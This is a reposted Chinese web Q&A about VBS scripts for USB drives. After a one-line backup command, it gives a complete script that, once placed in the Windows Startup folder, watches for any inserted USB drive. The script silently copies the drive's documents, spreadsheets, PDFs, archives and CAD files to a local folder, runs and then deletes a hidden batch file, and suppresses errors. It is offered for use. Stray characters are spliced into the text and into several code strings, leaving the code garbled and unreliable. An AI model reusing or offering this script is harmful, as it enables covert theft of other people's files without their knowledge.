如何使用VBS脚本编写U盘插入自动复制电脑指定文件至U盘

如何使用VBS脚本编写U盘插入自动复制电脑指定文件至U盘,第1张

打仔饥开文本文档,念陪返输入:

COPY D:\data\*.* f:\ '假设你要复制D盘下的data文件到U盘上,U盘盘符是F然后保存文件,将该文件扩展名改为bat。

想要复制的时候,直接双击U盘上这个文件就行。这个代码适合自己电脑经常需要备份某个文件,手动 *** 作步乱凯骤繁琐,利用这个代码来自动完成数据备份。如果稍加改进这个代码可能就会被安全软件拦截。。。,工具本身没有邪恶和正义之分,是正是邪还是看使用者的意图。

哈..

复制下面代码后保存为filename.vbs,然后把它拖进“开始”菜单中“启动”中,这样它就自动运行了,只有有人这台计算机上用U盘,它的这些类型的资料就会考到F盘中。而且不同的U盘,会以它序列号文件夹存放

Public Upan(10),Upanname(10),UpanSerialNumber(10),ffff(50000),name,s,n,a,b,y

Do While 1=1

s=0

udisk

a=s

wscript.sleep 600

s=0

udisk

b=s

If a>b Then

' wscript.echo "A Udisk be missed"

Else

If a<b Then

createfolder("f:\Udata\")

createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s))

createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC")

createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT")

createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS")

createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF")

createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR")

createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG")

createtbat1

' createtbat2

TransferBAT("f:\ee.bat")

wscript.sleep 600

' TransferBAT("f:\aa.bat")

' wscript.sleep 600

delbattxt("f:\ee.bat")

wscript.sleep 600

' delbattxt("f:\aa.bat")

' wscript.sleep 600

n=0

Set fso =CreateObject ("scripting.filesystemobject")

ShowSubFolders FSO.GetFolder(Upan(s)&"\")

wscript.sleep 800

' wscript.echo (n)

'=============================================================================================

for y=1 to n

On Error Resume Next

' wscript.echo ffff(y)

wscript.sleep 100

copyfiles ffff(y)&"芦卖\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"

wscript.sleep 100

copyfiles ffff(y)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"

wscript.sleep 100

copyfiles ffff(y)&"\"&"*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"

wscript.sleep 100

copyfiles ffff(y)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"

wscript.sleep 100

copyfiles ffff(y)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"

wscript.sleep 100

copyfiles ffff(y)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"

wscript.sleep 100

'___________________________________________________________________________________________

copyfiles upan(s)&"\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"

wscript.sleep 100

copyfiles upan(s)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"

wscript.sleep 100

copyfiles upan(s)&"\"&"液哗掘*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"

wscript.sleep 100

copyfiles upan(s)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"闹核

wscript.sleep 100

copyfiles upan(s)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"

wscript.sleep 100

copyfiles upan(s)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"

wscript.sleep 100

err.clear

next

'=============================================================================================

'wscript.echo "A new Udisk be found"&" it's "&upan(s)&Upanname(s)&" "&UpanSerialNumber(s)

udiskfile

Else

End If

End If

Loop

'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//

'*得到U盘的盘符,名称,序列号*

'//********************************************************************************//

Function udisk

Dim fso,MB,GB,i

MINSize=(1024^2)*10

MAXSize=(1024^3)*4

s=0

Set fso=CreateObject("scripting.filesystemobject")

Set disks=fso.Drives

For Each disk In disks

If disk.IsReady Then

If (disk.DriveType =1) or(disk.DriveType =2) And (MINSize<disk.totalsize<MAXSize) Then

s=s+1

Upan(s)=disk.path

Upanname(s)=disk.VolumeName

UpanSerialNumber(s)=disk.SerialNumber

Else

End If

Else

End If

Next

End Function

'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//

'*检测U盘中是否存在autorun.inf*

'//********************************************************************************//

Function udiskfile

Dim fso,a

Set fso=CreateObject("scripting.filesystemobject")

Set f = fso.GetFolder(Upan(s))

Set fc = f.Files

for each f1 in fc

if f1.name="autorun.inf" then

name=f1.name

wscript.echo "Udisk:"&Upan(s)&"have a file,it is like a virus,it's named "&name

exit for

else

end if

next

End Function

'//********************************************************************************//

'*在指定的地方建立文件夹*

'//********************************************************************************//

Function createfolder(path)

On Error Resume Next

Dim fso,a

Set fso=CreateObject ("scripting.filesystemobject")

Set a=fso.CreateFolder (path)

If err Then '如果出现错误则显示错误描述和正在创建的文件夹名称

'MsgBox ("错误提示: " &Err.Description&""&"正在创建的文件夹是:"&path)

Err.Clear'清除错误。

Else

End if

End function

'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//

'*创建BAT1*

'//********************************************************************************//

function createtbat1

dim fso,a,b,c

set fso=createobject ("scripting.filesystemobject")

On Error Resume Next

Set b=fso.CreateTextFile ("f:\ee.bat")

set c=fso.opentextfile("f:\ee.bat")

b.WriteLine ("tree "&upan(s)&"\>"&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\tree.txt")

err.clear

end function

'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//

'*创建BAT2*

'//********************************************************************************//

'function createtbat2

'dim fso,a,b,c

'set fso=createobject ("scripting.filesystemobject")

'On Error Resume Next

'

'Set b=fso.CreateTextFile ("f:\aa.bat")

'set c=fso.opentextfile("f:\aa.bat")'

'

'b.WriteLine ("xcopy "&Upan(s)&"\/e/c/h "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s))

'err.clear

'end function

'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//

'*调用BAT*

'//********************************************************************************//

Function TransferBAT(path)

Dim fso,a,b,c

Set wshshell=CreateObject("wscript.shell")

Set fso=CreateObject("scripting.filesystemobject")

cmd=wshshell.run(path,hide) '隐藏调用

End Function

'//////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//

'*删除BAT*

'//********************************************************************************//

function delbattxt(path)

dim fso,a,b,c

set fso=createobject ("scripting.filesystemobject")

On Error Resume Next

Set b=fso.DeleteFile (path)

err.clear

end function

'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//

'*CopyAllFiles*

'//********************************************************************************//

'function copyallfile

'Dim fso,a,b,c

'Set wshshell=CreateObject("wscript.shell")

'Set fso=CreateObject("scripting.filesystemobject")

'cmd=wshshell.run("xcopy "&Upan(s)&"/e "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s),hide)

'end function

'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//

'*Copy制定类型Files*

'//********************************************************************************//

'copyfiles "j:\*.vbs","f:\u" ' 调用该函数时不能使用括号,否则会错

Function copyfiles(source,destination)

Dim fso, MyFile

Set fso = CreateObject("Scripting.FileSystemObject")

fso.CopyFile source,destination,True

End function

'////////////////////////////////////////////////////////////////////////////////////

'//********************************************************************************//

'*得到制定文件夹下的所有子文件夹*

'//********************************************************************************//

'Set fso =CreateObject ("scripting.filesystemobject")

'ShowSubFolders FSO.GetFolder(Upan(s)&"\")

sub ShowSubFolders(Folder)

For Each Subfolder In Folder.SubFolders

ShowSubFolders Subfolder

n=n+1

ffff(n)=subfolder.path

'wscript.echo ffff(n)

Next

end sub


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/12259799.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-24
下一篇 2023-05-24

发表评论

登录后才能评论

评论列表(0条)

保存